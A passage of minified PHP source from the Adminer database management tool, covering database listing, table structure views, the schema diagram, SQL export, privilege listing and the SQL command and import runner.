doc_link(array$Bg,$Hi="<sup>?</sup>"){$Qh=connection()->server_info;$Ej=preg_replace('~^(\d\.?\d).*~s','\1',$Qh);$uj=array('sql'=>"https://dev.mysql.com/doc/refman/$Ej/en/",'sqlite'=>"https://www.sqlite.org/",'pgsql'=>"https://www.postgresql.org/docs/".(connection()->flavor=='cockroach'?"current":$Ej)."/",'mssql'=>"https://learn.microsoft.com/en-us/sql/",'oracle'=>"https://www.oracle.com/pls/topic/lookup?ctx=db".preg_replace('~^.* (\d+)\.(\d+)\.\d+\.\d+\.\d+.*~s','\1\2',$Qh)."&id=",);if(connection()->flavor=='maria'){$uj['sql']="https://mariadb.com/kb/en/";$Bg['sql']=(isset($Bg['mariadb'])?$Bg['mariadb']:str_replace(".html","/",$Bg['sql']));}return($Bg[JUSH]?"<a href='".h($uj[JUSH].$Bg[JUSH].(JUSH=='mssql'?"?view=sql-server-ver$Ej":""))."'".target_blank().">$Hi</a>":"");}function
db_size($j){if(!connection()->select_db($j))return"?";$J=0;foreach(table_status()as$S)$J+=$S["Data_length"]+$S["Index_length"];return
format_number($J);}function
set_utf8mb4($h){static$O=false;if(!$O&&preg_match('~\butf8mb4~i',$h)){$O=true;echo"SET NAMES ".charset(connection()).";\n\n";}}if(isset($_GET["status"]))$_GET["variables"]=$_GET["status"];if(isset($_GET["import"]))$_GET["sql"]=$_GET["import"];if(!(DB!=""?connection()->select_db(DB):isset($_GET["sql"])||isset($_GET["dump"])||isset($_GET["database"])||isset($_GET["processlist"])||isset($_GET["privileges"])||isset($_GET["user"])||isset($_GET["variables"])||$_GET["script"]=="connect"||$_GET["script"]=="kill")){if(DB!=""||$_GET["refresh"]){restart_session();set_session("dbs",null);}if(DB!=""){header("HTTP/1.1 404 Not Found");page_header('Database'.": ".h(DB),'Invalid database.',true);}else{if($_POST["db"]&&!$l)queries_redirect(substr(ME,0,-1),'Databases have been dropped.',drop_databases($_POST["db"]));page_header('Select database',$l,false);echo"<p class='links'>\n";foreach(array('database'=>'Create database','privileges'=>'Privileges','processlist'=>'Process list','variables'=>'Variables','status'=>'Status',)as$x=>$X){if(support($x))echo"<a href='".h(ME)."$x='>$X</a>\n";}echo"<p>".sprintf('%s version: %s through PHP extension %s',get_driver(DRIVER),"<b>".h(connection()->server_info)."</b>","<b>".connection()->extension."</b>")."\n","<p>".sprintf('Logged as: %s',"<b>".h(logged_user())."</b>")."\n";$i=adminer()->databases();if($i){$Dh=support("scheme");$jb=collations();echo"<form action='' method='post'>\n","<table class='checkable odds'>\n",script("mixin(qsl('table'), {onclick: tableClick, ondblclick: partialArg(tableClick, true)});"),"<thead><tr>".(support("database")?"<td>":"")."<th>".'Database'.(get_session("dbs")!==null?" - <a href='".h(ME)."refresh=1'>".'Refresh'."</a>":"")."<td>".'Collation'."<td>".'Tables'."<td>".'Size'." - <a href='".h(ME)."dbsize=1'>".'Compute'."</a>".script("qsl('a').onclick = partial(ajaxSetHtml, '".js_escape(ME)."script=connect');","")."</thead>\n";$i=($_GET["dbsize"]?count_tables($i):array_flip($i));foreach($i
as$j=>$T){$vh=h(ME)."db=".urlencode($j);$t=h("Db-".$j);echo"<tr>".(support("database")?"<td>".checkbox("db[]",$j,in_array($j,(array)$_POST["db"]),"","","",$t):""),"<th><a href='$vh' id='$t'>".h($j)."</a>";$c=h(db_collation($j,$jb));echo"<td>".(support("database")?"<a href='$vh".($Dh?"&amp;ns=":"")."&amp;database=' title='".'Alter database'."'>$c</a>":$c),"<td align='right'><a href='$vh&amp;schema=' id='tables-".h($j)."' title='".'Database schema'."'>".($_GET["dbsize"]?$T:"?")."</a>","<td align='right' id='size-".h($j)."'>".($_GET["dbsize"]?db_size($j):"?"),"\n";}echo"</table>\n",(support("database")?"<div class='footer'><div>\n"."<fieldset><legend>".'Selected'." <span id='selected'></span></legend><div>\n".input_hidden("all").script("qsl('input').onclick = function () { selectCount('selected', formChecked(this, /^db/)); };")."<input type='submit' name='drop' value='".'Drop'."'>".confirm()."\n"."</div></fieldset>\n"."</div></div>\n":""),input_token(),"</form>\n",script("tableCheck();");}if(!empty(adminer()->plugins)){echo"<div class='plugins'>\n","<h3>".'Loaded plugins'."</h3>\n<ul>\n";foreach(adminer()->plugins
as$Gg){$Zb=(method_exists($Gg,'description')?$Gg->description():"");if(!$Zb){$kh=new
\ReflectionObject($Gg);if(preg_match('~^/[\s*]+(.+)~',$kh->getDocComment(),$A))$Zb=$A[1];}$Eh=(method_exists($Gg,'screenshot')?$Gg->screenshot():"");echo"<li><b>".get_class($Gg)."</b>".h($Zb?": $Zb":"").($Eh?" (<a href='".h($Eh)."'".target_blank().">".'screenshot'."</a>)":"")."\n";}echo"</ul>\n";adminer()->pluginsLinks();echo"</div>\n";}}page_footer("db");exit;}if(support("scheme")){if(DB!=""&&$_GET["ns"]!==""){if(!isset($_GET["ns"]))redirect(preg_replace('~ns=[^&]*&~','',ME)."ns=".get_schema());if(!set_schema($_GET["ns"])){header("HTTP/1.1 404 Not Found");page_header('Schema'.": ".h($_GET["ns"]),'Invalid schema.',true);page_footer("ns");exit;}}}class
TmpFile{private$handler;var$size;function
__construct(){$this->handler=tmpfile();}function
write($zb){$this->size+=strlen($zb);fwrite($this->handler,$zb);}function
send(){fseek($this->handler,0);fpassthru($this->handler);fclose($this->handler);}}if(isset($_GET["select"])&&($_POST["edit"]||$_POST["clone"])&&!$_POST["save"])$_GET["edit"]=$_GET["select"];if(isset($_GET["callf"]))$_GET["call"]=$_GET["callf"];if(isset($_GET["function"]))$_GET["procedure"]=$_GET["function"];if(isset($_GET["download"])){$a=$_GET["download"];$n=fields($a);header("Content-Type: application/octet-stream");header("Content-Disposition: attachment; filename=".friendly_url("$a-".implode("_",$_GET["where"])).".".friendly_url($_GET["field"]));$M=array(idf_escape($_GET["field"]));$I=driver()->select($a,$M,array(where($_GET,$n)),$M);$K=($I?$I->fetch_row():array());echo
driver()->value($K[0],$n[$_GET["field"]]);exit;}elseif(isset($_GET["table"])){$a=$_GET["table"];$n=fields($a);if(!$n)$l=error()?:'No tables.';$S=table_status1($a);$B=adminer()->tableName($S);page_header(($n&&is_view($S)?$S['Engine']=='materialized view'?'Materialized view':'View':'Table').": ".($B!=""?$B:h($a)),$l);$uh=array();foreach($n
as$x=>$m)$uh+=$m["privileges"];adminer()->selectLinks($S,(isset($uh["insert"])||!support("table")?"":null));$ob=$S["Comment"];if($ob!="")echo"<p class='nowrap'>".'Comment'.": ".h($ob)."\n";function
tables_links($T){echo"<ul>\n";foreach($T
as$R)echo"<li><a href='".h(ME."table=".urlencode($R))."'>".h($R)."</a>";echo"</ul>\n";}$ie=driver()->inheritsFrom($a);if($ie){echo"<h3>".'Inherits from'."</h3>\n";tables_links($ie);}elseif($n)adminer()->tableStructurePrint($n,$S);if(support("indexes")&&driver()->supportsIndex($S)){echo"<h3 id='indexes'>".'Indexes'."</h3>\n";$w=indexes($a);if($w)adminer()->tableIndexesPrint($w,$S);echo'<p class="links"><a href="'.h(ME).'indexes='.urlencode($a).'">'.'Alter indexes'."</a>\n";}if(!is_view($S)){if(fk_support($S)){echo"<h3 id='foreign-keys'>".'Foreign keys'."</h3>\n";$ld=foreign_keys($a);if($ld){echo"<table>\n","<thead><tr><th>".'Source'."<td>".'Target'."<td>".'ON DELETE'."<td>".'ON UPDATE'."<td></thead>\n";foreach($ld
as$B=>$p){echo"<tr title='".h($B)."'>","<th><i>".implode("</i>, <i>",array_map('Adminer\h',$p["source"]))."</i>";$_=($p["db"]!=""?preg_replace('~db=[^&]*~',"db=".urlencode($p["db"]),ME):($p["ns"]!=""?preg_replace('~ns=[^&]*~',"ns=".urlencode($p["ns"]),ME):ME));echo"<td><a href='".h($_."table=".urlencode($p["table"]))."'>".($p["db"]!=""&&$p["db"]!=DB?"<b>".h($p["db"])."</b>.":"").($p["ns"]!=""&&$p["ns"]!=$_GET["ns"]?"<b>".h($p["ns"])."</b>.":"").h($p["table"])."</a>","(<i>".implode("</i>, <i>",array_map('Adminer\h',$p["target"]))."</i>)","<td>".h($p["on_delete"]),"<td>".h($p["on_update"]),'<td><a href="'.h(ME.'foreign='.urlencode($a).'&name='.urlencode($B)).'">'.'Alter'.'</a>',"\n";}echo"</table>\n";}echo'<p class="links"><a href="'.h(ME).'foreign='.urlencode($a).'">'.'Add foreign key'."</a>\n";}if(support("check")){echo"<h3 id='checks'>".'Checks'."</h3>\n";$Xa=driver()->checkConstraints($a);if($Xa){echo"<table>\n";foreach($Xa
as$x=>$X)echo"<tr title='".h($x)."'>","<td><code class='jush-".JUSH."'>".h($X),"<td><a href='".h(ME.'check='.urlencode($a).'&name='.urlencode($x))."'>".'Alter'."</a>","\n";echo"</table>\n";}echo'<p class="links"><a href="'.h(ME).'check='.urlencode($a).'">'.'Create check'."</a>\n";}}if(support(is_view($S)?"view_trigger":"trigger")){echo"<h3 id='triggers'>".'Triggers'."</h3>\n";$fj=triggers($a);if($fj){echo"<table>\n";foreach($fj
as$x=>$X)echo"<tr valign='top'><td>".h($X[0])."<td>".h($X[1])."<th>".h($x)."<td><a href='".h(ME.'trigger='.urlencode($a).'&name='.urlencode($x))."'>".'Alter'."</a>\n";echo"</table>\n";}echo'<p class="links"><a href="'.h(ME).'trigger='.urlencode($a).'">'.'Add trigger'."</a>\n";}$he=driver()->inheritedTables($a);if($he){echo"<h3 id='partitions'>".'Partitions'."</h3>\n";$vg=driver()->partitionsInfo($a);if($vg)echo"<p><code class='jush-".JUSH."'>BY ".h("$vg[partition_by]($vg[partition])")."</code>\n";tables_links($he);}}elseif(isset($_GET["schema"])){page_header('Database schema',"",array(),h(DB.($_GET["ns"]?".$_GET[ns]":"")));$xi=array();$yi=array();$ca=($_GET["schema"]?:$_COOKIE["adminer_schema-".str_replace(".","_",DB)]);preg_match_all('~([^:]+):([-0-9.]+)x([-0-9.]+)(_|$)~',$ca,$Ye,PREG_SET_ORDER);foreach($Ye
as$s=>$A){$xi[$A[1]]=array($A[2],$A[3]);$yi[]="\n\t'".js_escape($A[1])."': [ $A[2], $A[3] ]";}$Ui=0;$Ga=-1;$Bh=array();$jh=array();$Le=array();$sa=driver()->allFields();foreach(table_status('',true)as$R=>$S){if(is_view($S))continue;$Jg=0;$Bh[$R]["fields"]=array();foreach($sa[$R]as$m){$Jg+=1.25;$m["pos"]=$Jg;$Bh[$R]["fields"][$m["field"]]=$m;}$Bh[$R]["pos"]=($xi[$R]?:array($Ui,0));foreach(adminer()->foreignKeys($R)as$X){if(!$X["db"]){$Je=$Ga;if(idx($xi[$R],1)||idx($xi[$X["table"]],1))$Je=min(idx($xi[$R],1,0),idx($xi[$X["table"]],1,0))-1;else$Ga-=.1;while($Le[(string)$Je])$Je-=.0001;$Bh[$R]["references"][$X["table"]][(string)$Je]=array($X["source"],$X["target"]);$jh[$X["table"]][$R][(string)$Je]=$X["target"];$Le[(string)$Je]=true;}}$Ui=max($Ui,$Bh[$R]["pos"][0]+2.5+$Jg);}echo'<div id="schema" style="height: ',$Ui,'em;">
<script',nonce(),'>
qs(\'#schema\').onselectstart = () => false;
const tablePos = {',implode(",",$yi)."\n",'};
const em = qs(\'#schema\').offsetHeight / ',$Ui,';
document.onmousemove = schemaMousemove;
document.onmouseup = partialArg(schemaMouseup, \'',js_escape(DB),'\');
</script>
';foreach($Bh
as$B=>$R){echo"<div class='table' style='top: ".$R["pos"][0]."em; left: ".$R["pos"][1]."em;'>",'<a href="'.h(ME).'table='.urlencode($B).'"><b>'.h($B)."</b></a>",script("qsl('div').onmousedown = schemaMousedown;");foreach($R["fields"]as$m){$X='<span'.type_class($m["type"]).' title="'.h($m["type"].($m["length"]?"($m[length])":"").($m["null"]?" NULL":'')).'">'.h($m["field"]).'</span>';echo"<br>".($m["primary"]?"<i>$X</i>":$X);}foreach((array)$R["references"]as$Ei=>$lh){foreach($lh
as$Je=>$gh){$Ke=$Je-idx($xi[$B],1);$s=0;foreach($gh[0]as$ai)echo"\n<div class='references' title='".h($Ei)."' id='refs$Je-".($s++)."' style='left: $Ke"."em; top: ".$R["fields"][$ai]["pos"]."em; padding-top: .5em;'>"."<div style='border-top: 1px solid gray; width: ".(-$Ke)."em;'></div></div>";}}foreach((array)$jh[$B]as$Ei=>$lh){foreach($lh
as$Je=>$e){$Ke=$Je-idx($xi[$B],1);$s=0;foreach($e
as$Di)echo"\n<div class='references arrow' title='".h($Ei)."' id='refd$Je-".($s++)."' style='left: $Ke"."em; top: ".$R["fields"][$Di]["pos"]."em;'>"."<div style='height: .5em; border-bottom: 1px solid gray; width: ".(-$Ke)."em;'></div>"."</div>";}}echo"\n</div>\n";}foreach($Bh
as$B=>$R){foreach((array)$R["references"]as$Ei=>$lh){foreach($lh
as$Je=>$gh){$of=$Ui;$cf=-10;foreach($gh[0]as$x=>$ai){$Kg=$R["pos"][0]+$R["fields"][$ai]["pos"];$Lg=$Bh[$Ei]["pos"][0]+$Bh[$Ei]["fields"][$gh[1][$x]]["pos"];$of=min($of,$Kg,$Lg);$cf=max($cf,$Kg,$Lg);}echo"<div class='references' id='refl$Je' style='left: $Je"."em; top: $of"."em; padding: .5em 0;'><div style='border-right: 1px solid gray; margin-top: 1px; height: ".($cf-$of)."em;'></div></div>\n";}}}echo'</div>
<p class="links"><a href="',h(ME."schema=".urlencode($ca)),'" id="schema-link">Permanent link</a>
';}elseif(isset($_GET["dump"])){$a=$_GET["dump"];if($_POST&&!$l){save_settings(array_intersect_key($_POST,array_flip(array("output","format","db_style","types","routines","events","table_style","auto_increment","triggers","data_style"))),"adminer_export");$T=array_flip((array)$_POST["tables"])+array_flip((array)$_POST["data"]);$Oc=dump_headers((count($T)==1?key($T):DB),(DB==""||count($T)>1));$ve=preg_match('~sql~',$_POST["format"]);if($ve){echo"-- Adminer ".VERSION." ".get_driver(DRIVER)." ".str_replace("\n"," ",connection()->server_info)." dump\n\n";if(JUSH=="sql"){echo"SET NAMES utf8;
SET time_zone = '+00:00';
SET foreign_key_checks = 0;
".($_POST["data_style"]?"SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO';
":"")."
";connection()->query("SET time_zone = '+00:00'");connection()->query("SET sql_mode = ''");}}$ni=$_POST["db_style"];$i=array(DB);if(DB==""){$i=$_POST["databases"];if(is_string($i))$i=explode("\n",rtrim(str_replace("\r","",$i),"\n"));}foreach((array)$i
as$j){adminer()->dumpDatabase($j);if(connection()->select_db($j)){if($ve&&preg_match('~CREATE~',$ni)&&($h=get_val("SHOW CREATE DATABASE ".idf_escape($j),1))){set_utf8mb4($h);if($ni=="DROP+CREATE")echo"DROP DATABASE IF EXISTS ".idf_escape($j).";\n";echo"$h;\n";}if($ve){if($ni)echo
use_sql($j).";\n\n";$lg="";if($_POST["types"]){foreach(types()as$t=>$U){$Cc=type_values($t);if($Cc)$lg
.=($ni!='DROP+CREATE'?"DROP TYPE IF EXISTS ".idf_escape($U).";;\n":"")."CREATE TYPE ".idf_escape($U)." AS ENUM ($Cc);\n\n";else$lg
.="-- Could not export type $U\n\n";}}if($_POST["routines"]){foreach(routines()as$K){$B=$K["ROUTINE_NAME"];$wh=$K["ROUTINE_TYPE"];$h=create_routine($wh,array("name"=>$B)+routine($K["SPECIFIC_NAME"],$wh));set_utf8mb4($h);$lg
.=($ni!='DROP+CREATE'?"DROP $wh IF EXISTS ".idf_escape($B).";;\n":"")."$h;\n\n";}}if($_POST["events"]){foreach(get_rows("SHOW EVENTS",null,"-- ")as$K){$h=remove_definer(get_val("SHOW CREATE EVENT ".idf_escape($K["Name"]),3));set_utf8mb4($h);$lg
.=($ni!='DROP+CREATE'?"DROP EVENT IF EXISTS ".idf_escape($K["Name"]).";;\n":"")."$h;;\n\n";}}echo($lg&&JUSH=='sql'?"DELIMITER ;;\n\n$lg"."DELIMITER ;\n\n":$lg);}if($_POST["table_style"]||$_POST["data_style"]){$Gj=array();foreach(table_status('',true)as$B=>$S){$R=(DB==""||in_array($B,(array)$_POST["tables"]));$Lb=(DB==""||in_array($B,(array)$_POST["data"]));if($R||$Lb){$Ri=null;if($Oc=="tar"){$Ri=new
TmpFile;ob_start(array($Ri,'write'),1e5);}adminer()->dumpTable($B,($R?$_POST["table_style"]:""),(is_view($S)?2:0));if(is_view($S))$Gj[]=$B;elseif($Lb){$n=fields($B);adminer()->dumpData($B,$_POST["data_style"],"SELECT *".convert_fields($n,$n)." FROM ".table($B));}if($ve&&$_POST["triggers"]&&$R&&($fj=trigger_sql($B)))echo"\nDELIMITER ;;\n$fj\nDELIMITER ;\n";if($Oc=="tar"){ob_end_flush();tar_file((DB!=""?"":"$j/")."$B.csv",$Ri);}elseif($ve)echo"\n";}}if(function_exists('Adminer\foreign_keys_sql')){foreach(table_status('',true)as$B=>$S){$R=(DB==""||in_array($B,(array)$_POST["tables"]));if($R&&!is_view($S))echo
foreign_keys_sql($B);}}foreach($Gj
as$Fj)adminer()->dumpTable($Fj,$_POST["table_style"],1);if($Oc=="tar")echo
pack("x512");}}}adminer()->dumpFooter();exit;}page_header('Export',$l,($_GET["export"]!=""?array("table"=>$_GET["export"]):array()),h(DB));echo'
<form action="" method="post">
<table class="layout">
';$Pb=array('','USE','DROP+CREATE','CREATE');$zi=array('','DROP+CREATE','CREATE');$Mb=array('','TRUNCATE+INSERT','INSERT');if(JUSH=="sql")$Mb[]='INSERT+UPDATE';$K=get_settings("adminer_export");if(!$K)$K=array("output"=>"text","format"=>"sql","db_style"=>(DB!=""?"":"CREATE"),"table_style"=>"DROP+CREATE","data_style"=>"INSERT");if(!isset($K["events"])){$K["routines"]=$K["events"]=($_GET["dump"]=="");$K["triggers"]=$K["table_style"];}echo"<tr><th>".'Output'."<td>".html_radios("output",adminer()->dumpOutput(),$K["output"])."\n","<tr><th>".'Format'."<td>".html_radios("format",adminer()->dumpFormat(),$K["format"])."\n",(JUSH=="sqlite"?"":"<tr><th>".'Database'."<td>".html_select('db_style',$Pb,$K["db_style"]).(support("type")?checkbox("types",1,$K["types"],'User types'):"").(support("routine")?checkbox("routines",1,$K["routines"],'Routines'):"").(support("event")?checkbox("events",1,$K["events"],'Events'):"")),"<tr><th>".'Tables'."<td>".html_select('table_style',$zi,$K["table_style"]).checkbox("auto_increment",1,$K["auto_increment"],'Auto Increment').(support("trigger")?checkbox("triggers",1,$K["triggers"],'Triggers'):""),"<tr><th>".'Data'."<td>".html_select('data_style',$Mb,$K["data_style"]),'</table>
<p><input type="submit" value="Export">
',input_token(),'
<table>
',script("qsl('table').onclick = dumpClick;");$Pg=array();if(DB!=""){$Za=($a!=""?"":" checked");echo"<thead><tr>","<th style='text-align: left;'><label class='block'><input type='checkbox' id='check-tables'$Za>".'Tables'."</label>".script("qs('#check-tables').onclick = partial(formCheck, /^tables\\[/);",""),"<th style='text-align: right;'><label class='block'>".'Data'."<input type='checkbox' id='check-data'$Za></label>".script("qs('#check-data').onclick = partial(formCheck, /^data\\[/);",""),"</thead>\n";$Gj="";$Ai=tables_list();foreach($Ai
as$B=>$U){$Og=preg_replace('~_.*~','',$B);$Za=($a==""||$a==(substr($a,-1)=="%"?"$Og%":$B));$Sg="<tr><td>".checkbox("tables[]",$B,$Za,$B,"","block");if($U!==null&&!preg_match('~table~i',$U))$Gj
.="$Sg\n";else
echo"$Sg<td align='right'><label class='block'><span id='Rows-".h($B)."'></span>".checkbox("data[]",$B,$Za)."</label>\n";$Pg[$Og]++;}echo$Gj;if($Ai)echo
script("ajaxSetHtml('".js_escape(ME)."script=db');");}else{echo"<thead><tr><th style='text-align: left;'>","<label class='block'><input type='checkbox' id='check-databases'".($a==""?" checked":"").">".'Database'."</label>",script("qs('#check-databases').onclick = partial(formCheck, /^databases\\[/);",""),"</thead>\n";$i=adminer()->databases();if($i){foreach($i
as$j){if(!information_schema($j)){$Og=preg_replace('~_.*~','',$j);echo"<tr><td>".checkbox("databases[]",$j,$a==""||$a=="$Og%",$j,"","block")."\n";$Pg[$Og]++;}}}else
echo"<tr><td><textarea name='databases' rows='10' cols='20'></textarea>";}echo'</table>
</form>
';$bd=true;foreach($Pg
as$x=>$X){if($x!=""&&$X>1){echo($bd?"<p>":" ")."<a href='".h(ME)."dump=".urlencode("$x%")."'>".h($x)."</a>";$bd=false;}}}elseif(isset($_GET["privileges"])){page_header('Privileges');echo'<p class="links"><a href="'.h(ME).'user=">'.'Create user'."</a>";$I=connection()->query("SELECT User, Host FROM mysql.".(DB==""?"user":"db WHERE ".q(DB)." LIKE Db")." ORDER BY Host, User");$ud=$I;if(!$I)$I=connection()->query("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host");echo"<form action=''><p>\n";hidden_fields_get();echo
input_hidden("db",DB),($ud?"":input_hidden("grant")),"<table class='odds'>\n","<thead><tr><th>".'Username'."<th>".'Server'."<th></thead>\n";while($K=$I->fetch_assoc())echo'<tr><td>'.h($K["User"])."<td>".h($K["Host"]).'<td><a href="'.h(ME.'user='.urlencode($K["User"]).'&host='.urlencode($K["Host"])).'">'.'Edit'."</a>\n";if(!$ud||DB!="")echo"<tr><td><input name='user' autocapitalize='off'><td><input name='host' value='localhost' autocapitalize='off'><td><input type='submit' value='".'Edit'."'>\n";echo"</table>\n","</form>\n";}elseif(isset($_GET["sql"])){if(!$l&&$_POST["export"]){save_settings(array("output"=>$_POST["output"],"format"=>$_POST["format"]),"adminer_import");dump_headers("sql");adminer()->dumpTable("","");adminer()->dumpData("","table",$_POST["query"]);adminer()->dumpFooter();exit;}restart_session();$Kd=&get_session("queries");$Jd=&$Kd[DB];if(!$l&&$_POST["clear"]){$Jd=array();redirect(remove_from_uri("history"));}stop_session();page_header((isset($_GET["import"])?'Import':'SQL command'),$l);$Pe='--'.(JUSH=='sql'?' ':'');if(!$l&&$_POST){$q=false;if(!isset($_GET["import"]))$H=$_POST["query"];elseif($_POST["webfile"]){$ei=adminer()->importServerPath();$q=@fopen((file_exists($ei)?$ei:"compress.zlib://$ei.gz"),"rb");$H=($q?fread($q,1e6):false);}else$H=get_file("sql_file",true,";");if(is_string($H)){if(function_exists('memory_get_usage')&&($hf=ini_bytes("memory_limit"))!="-1")@ini_set("memory_limit",max($hf,strval(2*strlen($H)+memory_get_usage()+8e6)));if($H!=""&&strlen($H)<1e6){$Zg=$H.(preg_match("~;[ \t\r\n]*\$~",$H)?"":";");if(!$Jd||first(end($Jd))!=$Zg){restart_session();$Jd[]=array($Zg,time());set_session("queries",$Kd);stop_session();}}$bi="(?:\\s|/\\*[\s\S]*?\\*/|(?:#|$Pe)[^\n]*\n?|--\r?\n)";$Xb=";";$C=0;$xc=true;$g=connect();if($g&&DB!=""){$g->select_db(DB);if($_GET["ns"]!="")set_schema($_GET["ns"],$g);}$nb=0;$Ec=array();$sg='[\'"'.(JUSH=="sql"?'`#':(JUSH=="sqlite"?'`[':(JUSH=="mssql"?'[':''))).']|/\*|'.$Pe.'|$'.(JUSH=="pgsql"?'|\$[^$]*\$':'');$Vi=microtime(true);$ma=get_settings("adminer_import");$oc=adminer()->dumpFormat();unset($oc["sql"]);while($H!=""){if(!$C&&preg_match("~^$bi*+DELIMITER\\s+(\\S+)~i",$H,$A)){$Xb=preg_quote($A[1]);$H=substr($H,strlen($A[0]));}elseif(!$C&&JUSH=='pgsql'&&preg_match("~^($bi*+COPY\\s+)[^;]+\\s+FROM\\s+stdin;~i",$H,$A)){$Xb="\n\\\\\\.\r?\n";$C=strlen($A[0]);}else{preg_match("($Xb\\s*|$sg)",$H,$A,PREG_OFFSET_CAPTURE,$C);list($nd,$Jg)=$A[0];if(!$nd&&$q&&!feof($q))$H
.=fread($q,1e5);else{if(!$nd&&rtrim($H)=="")break;$C=$Jg+strlen($nd);if($nd&&!preg_match("(^$Xb)",$nd)){$Ra=driver()->hasCStyleEscapes()||(JUSH=="pgsql"&&($Jg>0&&strtolower($H[$Jg-1])=="e"));$Cg=($nd=='/*'?'\*/':($nd=='['?']':(preg_match("~^$Pe|^#~",$nd)?"\n":preg_quote($nd).($Ra?'|\\\\.':''))));while(preg_match("($Cg|\$)s",$H,$A,PREG_OFFSET_CAPTURE,$C)){$_h=$A[0][0];if(!$_h&&$q&&!feof($q))$H
.=fread($q,1e5);else{$C=$A[0][1]+strlen($_h);if(!$_h||$_h[0]!="\\")break;}}}else{$xc=false;$Zg=substr($H,0,$Jg+($Xb[0]=="\n"?3:0));$nb++;$Sg="<pre id='sql-$nb'><code class='jush-".JUSH."'>".adminer()->sqlCommandQuery($Zg)."</code></pre>\n";if(JUSH=="sqlite"&&preg_match("~^$bi*+ATTACH\\b~i",$Zg,$A)){echo$Sg,"<p class='error'>".'ATTACH queries are not supported.'."\n";$Ec[]=" <a href='#sql-$nb'>$nb</a>";if($_POST["error_stops"])break;}else{if(!$_POST["only_errors"]){echo$Sg;ob_flush();flush();}$ji=microtime(true);if(connection()->multi_query($Zg)&&$g&&preg_match("~^$bi*+USE\\b~i",$Zg))$g->query($Zg);do{$I=connection()->store_result();if(connection()->error){echo($_POST["only_errors"]?$Sg:""),"<p class='error'>".'Error in query'.(connection()->errno?" (".connection()->errno.")":"").": ".error()."\n";$Ec[]=" <a href='#sql-$nb'>$nb</a>";if($_POST["error_stops"])break
2;}else{$Ki=" <span class='time'>(".format_time($ji).")</span>".(strlen($Zg)<1000?" <a href='".h(ME)."sql=".urlencode(trim($Zg))."'>".'Edit'."</a>":"");$oa=connection()->affected_rows;$Jj=($_POST["only_errors"]?"":driver()->warnings());$Kj="warnings-$nb";if($Jj)$Ki
.=", <a href='#$Kj'>".'Warnings'."</a>".script("qsl('a').onclick = partial(toggle, '$Kj');","");$Mc=null;$dg=null;$Nc="explain-$nb";if(is_object($I)){$z=$_POST["limit"];$dg=print_select_result($I,$g,array(),$z);if(!$_POST["only_errors"]){echo"<form action='' method='post'>\n";$Ef=$I->num_rows;echo"<p class='sql-footer'>".($Ef?($z&&$Ef>$z?sprintf('%d / ',$z):"").lang_format(array('%d row','%d rows'),$Ef):""),$Ki;if($g&&preg_match("~^($bi|\\()*+SELECT\\b~i",$Zg)&&($Mc=explain($g,$Zg)))echo", <a href='#$Nc'>Explain</a>".script("qsl('a').onclick = partial(toggle, '$Nc');","");$t="export-$nb";echo", <a href='#$t'>".'Export'."</a>".script("qsl('a').onclick = partial(toggle, '$t');","")."<span id='$t' class='hidden'>: ".html_select("output",adminer()->dumpOutput(),$ma["output"])." ".html_select("format",$oc,$ma["format"]).input_hidden("query",$Zg)."<input type='submit' name='export' value='".'Export'."'>".input_token()."</span>\n"."</form>\n";}}else{if(preg_match("~^$bi*+(CREATE|DROP|ALTER)$bi++(DATABASE|SCHEMA)\\b~i",$Zg)){restart_session();set_session("dbs",null);stop_session();}if(!$_POST["only_errors"])echo"<p class='message' title='".h(connection()->info)."'>".lang_format(array('Query executed OK, %d row affected.','Query executed OK, %d rows affected.'),$oa)."$Ki\n";}echo($Jj?"<div id='$Kj' class='hidden'>\n$Jj</div>\n":"");if($Mc){echo"<div id='$Nc' class='hidden explain'>\n";print_select_result($Mc,$g,$dg);echo"</div>\n";}}$ji=microtime(true);}while(connection()->next_result());}$H=substr($H,$C);$C=0;}}}}if($xc)echo"<p class='message'>".'No commands to execute.'."\n";elseif($_POST["only_errors"])echo"<p class='message'>".lang_format(array('%d query executed OK.','%d queries executed OK.'),$nb-count($Ec))," <span class='time'>(".format_time($Vi).")</span>\n";elseif($Ec&&$nb>1)echo"<p class='error'>".'Error in query'.": ".implode("",$Ec)."\n";}else
echo"<p class='error'>".upload_error($H)."\n";}echo'
<form action="" method="post" enctype="multipart/form-data" id="form">
';$Kc="<input type='submit' value='".'Execute'."' title='Ctrl+Enter'>";if(!isset($_GET["import"])){$Zg=$_GET["sql"];if($_POST)$Zg=$_POST["query"];elseif($_GET["history"]=="all")$Zg=$Jd;elseif($_GET["history"]!="")$Zg=idx($Jd[$_GET["history"]],0);echo"<p>";textarea("query",$Zg,20);echo
script(($_POST?"":"qs('textarea').focus();\n")."qs('#form').onsubmit = partial(sqlSubmit, qs('#form'), '".js_escape(remove_from_uri("sql|limit|error_stops|only_errors|history"))."');"),"<p>";adminer()->sqlPrintAfter();echo"$Kc\n",'Limit rows'.": <input type='number' name='limit' class='size' value='".h($_POST?$_POST["limit"]:$_GET["limit"])."'>\n";}else{echo"<fieldset><legend>".'File upload'."</legend><div>";$_d=(extension_loaded("zlib")?"[.gz]":"");echo(ini_bool("file_uploads")?"SQL$_d (&lt; ".ini_get("upload_max_filesize")."B): <input type='file' name='sql_file[]' multiple>\n$Kc":'File uploads are disabled.'),"</div></fieldset>\n";$Vd=adminer()->importServerPath();if($Vd)echo"<fieldset><legend>".'From server'."</legend><div>",sprintf('Webserver file %s',"<code>".h($Vd)."$_d</code>"),' <input type="submit" name="webfile" value="'.'Run file'.'">',"</div></fieldset>\n";echo"<p>";}echo
